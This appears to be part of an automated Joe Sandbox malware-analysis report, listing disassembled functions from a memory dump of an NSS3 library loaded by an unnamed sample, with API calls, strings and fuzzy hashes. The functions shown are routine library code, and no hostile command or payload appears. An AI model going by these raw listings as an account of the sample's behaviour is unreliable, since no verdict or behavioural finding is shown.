API call with %s database connection pointer, xrefs: 6CCC4CF6
invalid, xrefs: 6CCC4CF1
unknown error, xrefs: 6CCC4D56
out of memory, xrefs: 6CCC4C78, 6CCC4C9E
bad parameter or other API misuse, xrefs: 6CCC4D05
abort due to ROLLBACK, xrefs: 6CCC4D27, 6CCC4D33
no more rows available, xrefs: 6CCC4D2E

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: a66f12f44b5772375f0c612ef75a8f36fae0f02d35c13b6cf93ff1d775d75ec9
Instruction ID: 13ab4e3d5a7590591327eb9eb08855ee23a6ea9575e8b67ff4367ab76be91386
Opcode Fuzzy Hash: a66f12f44b5772375f0c612ef75a8f36fae0f02d35c13b6cf93ff1d775d75ec9
Instruction Fuzzy Hash: 8A314572F08851A7E704DB28D8007B5B366BB82318F258165D5244BF34F725AC5283D3

Function 6CC22DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CC22DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC22E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC22E33

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC22E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC22E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC22E81

Strings

ulPinLen = %d, xrefs: 6CC22E7C
C_InitPIN, xrefs: 6CC22DF1
hSession = 0x%x, xrefs: 6CC22E0E, 6CC22E1E
pPin = 0x%p, xrefs: 6CC22E63
(CK_INVALID_HANDLE), xrefs: 6CC22E2C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 6d8295ab8db4b0c83cd6c2d5915ecdf900140f2a81d35f788e782b1f2bd82b59
Instruction ID: fb2c343fa256f50c9a1612b2623efa5a7f764257b125801581751e62878840f8
Opcode Fuzzy Hash: 6d8295ab8db4b0c83cd6c2d5915ecdf900140f2a81d35f788e782b1f2bd82b59
Instruction Fuzzy Hash: B931C671A01154AFEB10DF58EC4CF5B7779EB4636DF444026EA08A7B61EB34980CDAE1

Function 6CB92450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB924BA
LeaveCriticalSection.KERNEL32(?), ref: 6CB9250D
EnterCriticalSection.KERNEL32(?), ref: 6CB92554
LeaveCriticalSection.KERNEL32(?), ref: 6CB925A7
EnterCriticalSection.KERNEL32(?), ref: 6CB92609
LeaveCriticalSection.KERNEL32(?), ref: 6CB9265F
EnterCriticalSection.KERNEL32(?), ref: 6CB926A2
LeaveCriticalSection.KERNEL32(?), ref: 6CB926F5
EnterCriticalSection.KERNEL32(?), ref: 6CB92764
LeaveCriticalSection.KERNEL32(?), ref: 6CB92898
EnterCriticalSection.KERNEL32(?), ref: 6CB928D0
EnterCriticalSection.KERNEL32(?), ref: 6CB92948
LeaveCriticalSection.KERNEL32(?), ref: 6CB9299B
EnterCriticalSection.KERNEL32(?), ref: 6CB929E2
LeaveCriticalSection.KERNEL32(?), ref: 6CB92A31

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: fa9bbb694eb2279843b0ca03c381db7a02e8ab40078af3290310936fb34e4d0e
Instruction ID: df112cf63156d740de711286120762dbff109d8b2d54fc3cab70f5edc328da05
Opcode Fuzzy Hash: fa9bbb694eb2279843b0ca03c381db7a02e8ab40078af3290310936fb34e4d0e
Instruction Fuzzy Hash: A8F19E32F015509BFB08EF64E98DA6A7738FF4731AB984139DB1657A00DB399841CB93

Function 6CBFA7B0 Relevance: 18.3, APIs: 12, Instructions: 340timeCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBFA7F9
EnterCriticalSection.KERNEL32(?), ref: 6CBFA810
PR_Unlock.NSS3 ref: 6CBFA828
CERT_IsUserCert.NSS3(?), ref: 6CBFA83E
CERT_GetFirstEmailAddress.NSS3(?), ref: 6CBFA865
DER_UTCTimeToTime_Util.NSS3(?,?), ref: 6CBFA9F2

Part of subcall function 6CC471B0: PR_SetError.NSS3(FFFFE008,00000000), ref: 6CC471E9

DER_UTCTimeToTime_Util.NSS3(?,?), ref: 6CBFAA21
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBFAAF9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBFAB14
CERT_GetNextEmailAddress.NSS3(?,?), ref: 6CBFAB4D
PK11_GetInternalKeySlot.NSS3 ref: 6CBFAB7E
PK11_ImportCert.NSS3(00000000,?,00000000,00000000,00000000), ref: 6CBFAB90

Part of subcall function 6CC30FE0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC31057
Part of subcall function 6CC30FE0: free.MOZGLUE(?), ref: 6CC311A6
Part of subcall function 6CC30FE0: PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311D3
Part of subcall function 6CC30FE0: PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311F3

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$AddressAlloc_CertEmailItem_K11_TimeTime_Zfree$CriticalEnterErrorFirstImportInternalNextSectionSlotUnlockUserValuefreestrlen
String ID:
API String ID: 483008407-0
Opcode ID: d77ae93a895ecffd7b6d9b23bceba46d47caf43837d6c5ecbe2554a677bb296c
Instruction ID: ad1eadf1f93b44c5aa5ffe01e8d54b9afc33d08b94f106847009c19ed1182300
Opcode Fuzzy Hash: d77ae93a895ecffd7b6d9b23bceba46d47caf43837d6c5ecbe2554a677bb296c
Instruction Fuzzy Hash: 72C17D716093419FE704CF29D940A6BB7E9EF88308F15892DE8A8C7751E731D94ACB92

Function 6CCC2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CCC2D9F

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

sqlite3_exec.NSS3(?,?,6CCC2F70,?,?), ref: 6CCC2DF9
sqlite3_free.NSS3(00000000), ref: 6CCC2E2C
sqlite3_free.NSS3(?), ref: 6CCC2E3A
sqlite3_free.NSS3(?), ref: 6CCC2E52
sqlite3_mprintf.NSS3(6CD2AAF9,?), ref: 6CCC2E62
sqlite3_free.NSS3(?), ref: 6CCC2E70
sqlite3_free.NSS3(?), ref: 6CCC2E89
sqlite3_free.NSS3(?), ref: 6CCC2EBB
sqlite3_free.NSS3(?), ref: 6CCC2ECB
sqlite3_free.NSS3(00000000), ref: 6CCC2F3E
sqlite3_free.NSS3(?), ref: 6CCC2F4C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 6cca46bdb9165ff369d851f1e2c6582b72c3e19b6e1ba1b055dd819dc320ef9b
Instruction ID: fbaa9087890369aaea411d29844296e2757891435706c1c18806e68a7c509b2a
Opcode Fuzzy Hash: 6cca46bdb9165ff369d851f1e2c6582b72c3e19b6e1ba1b055dd819dc320ef9b
Instruction Fuzzy Hash: 74616CB5F012058BEB10CFA8D894B9EB7B1FF58348F145068ED55A7B01E735E849CBA2

Function 6CC12C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC13F23,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C62
EnterCriticalSection.KERNEL32(0000001C,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C76
PL_HashTableLookup.NSS3(00000000,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C93

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23), ref: 6CC12CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?), ref: 6CC12CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?), ref: 6CC12D4D
EnterCriticalSection.KERNEL32(?), ref: 6CC12D61
PL_HashTableLookup.NSS3(?,?), ref: 6CC12D71
PR_Unlock.NSS3(?), ref: 6CC12D7E

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 839cd8d0ab3429102fe3fb354ee3d8d3e551d990624926535f2d5d3413ba89c6
Instruction ID: 5b8700b7d129742ea95ac2dc094b11f9814c411acb63443cab1e6b54ab45fd02
Opcode Fuzzy Hash: 839cd8d0ab3429102fe3fb354ee3d8d3e551d990624926535f2d5d3413ba89c6
Instruction Fuzzy Hash: 75513BB6D00104ABEB00AF25DC449AAB778FF1A35CB048524EE1897B11F731ED58C7E1

Function 6CB74C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D97
PR_Lock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DBA
PR_WaitCondVar.NSS3 ref: 6CB74DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DEF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: e71ecbbfd0b3abcf91f9eb2e4d99bbd3ec02bc0594b705e3e91728606602fc79
Instruction ID: 333ca25e6965856774e8ef2c7e657d9bd99918f4e77bf98f5245a4604e1a7e16
Opcode Fuzzy Hash: e71ecbbfd0b3abcf91f9eb2e4d99bbd3ec02bc0594b705e3e91728606602fc79
Instruction Fuzzy Hash: EA41AEB1A04690CFDB10AF78D184159BBB8FF0A319F058669DD989B750EB30D884CFE2

Function 6CCBA622 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 214libraryCOMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 6CCBA6A6
LoadLibraryExA.KERNEL32(?,00000000,00000000), ref: 6CCBA732
GetLastError.KERNEL32 ref: 6CCBA73E
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 6CCBA77E

Strings

MZx, xrefs: 6CCBA635, 6CCBA65E
$, xrefs: 6CCBA63A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $$MZx
API String ID: 948315288-3153794291
Opcode ID: 1c407bc416dff7653099f4d68c5a40bd09f9b396b7e5f29c4b04e7269666ecd2
Instruction ID: 75efbfd9540cf41896bcfb9e22efe06e9dc59e203069ecdf354e0930703eac18
Opcode Fuzzy Hash: 1c407bc416dff7653099f4d68c5a40bd09f9b396b7e5f29c4b04e7269666ecd2
Instruction Fuzzy Hash: DE816171A01219AFDF01DFD9C984AAEB7B9FF84318B65412AE944B7700EB71DE05CB90

Function 6CBE0600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 6CBE0623
GetLastError.KERNEL32(?,?,?,?,?,6CBE05E2), ref: 6CBE0642
TlsGetValue.KERNEL32(?,?,?,?,?,6CBE05E2), ref: 6CBE065D
GetLastError.KERNEL32 ref: 6CBE0678
PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CBE068A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE0693
PR_SetErrorText.NSS3(00000000,?), ref: 6CBE069D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,36C6D85A,?,?,?,?,?,6CBE05E2), ref: 6CBE06CA
PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CBE05E2), ref: 6CBE06E6

Strings

error %d, xrefs: 6CBE0682

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$Last$AddressProcR_snprintfTextValuestrcmpstrlen
String ID: error %d
API String ID: 4000364758-2147592115
Opcode ID: 6d9a62d0f3132feb4c8b10ec9f36eebfa9f4652ba30756cbfa2cab78d8ad7e17
Instruction ID: c7d0552be36fd95307db5d224f7c1da9f32f3d83312aadd0d005b3bb7c3f46dc
Opcode Fuzzy Hash: 6d9a62d0f3132feb4c8b10ec9f36eebfa9f4652ba30756cbfa2cab78d8ad7e17
Instruction Fuzzy Hash: 02210771A001C09FE7007F7EAC04B5A7778EFCAB8DF150528D908A7A51EF319418D6A2

Function 6CC3ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CC3DE64), ref: 6CC3ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3ED22

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

PL_FreeArenaPool.NSS3(?), ref: 6CC3ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CC3ED6B
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC3ED38

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CC3ED52
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC3ED83
PL_FreeArenaPool.NSS3(?), ref: 6CC3ED95
PL_FinishArenaPool.NSS3(?), ref: 6CC3ED9D

Part of subcall function 6CC564F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC5127C,00000000,00000000,00000000), ref: 6CC5650E

Strings

security, xrefs: 6CC3ED06

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 16a04241566fa087b7ccb7dd9daa81460ef7b9dfdeb16ef9f3057bbfed7f6563
Instruction ID: 22297b65cf7ab84248f40a6a1c9b718f045a6d8ca28d3b7f849204d05f966518
Opcode Fuzzy Hash: 16a04241566fa087b7ccb7dd9daa81460ef7b9dfdeb16ef9f3057bbfed7f6563
Instruction Fuzzy Hash: BC116D759002246BFB119B35BC84BBBB278AF0170DF800568E81862F51F724A93DC7EB

Function 6CC22CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CC22CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC22D07

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC22D22

Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
Part of subcall function 6CD009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
Part of subcall function 6CD009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
Part of subcall function 6CD009D0: free.MOZGLUE(00000000), ref: 6CD00D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC22D3B

Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00BAB
